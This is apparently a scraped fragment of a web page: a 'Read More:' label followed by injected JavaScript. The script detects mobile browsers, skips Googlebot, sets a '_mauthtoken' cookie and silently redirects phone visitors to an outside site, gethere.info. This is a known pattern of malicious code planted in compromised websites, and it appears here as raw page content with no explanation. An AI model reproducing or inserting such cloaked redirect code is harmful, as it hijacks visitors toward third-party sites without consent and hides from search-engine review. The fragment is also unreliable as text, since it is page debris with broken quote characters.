Read More:if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}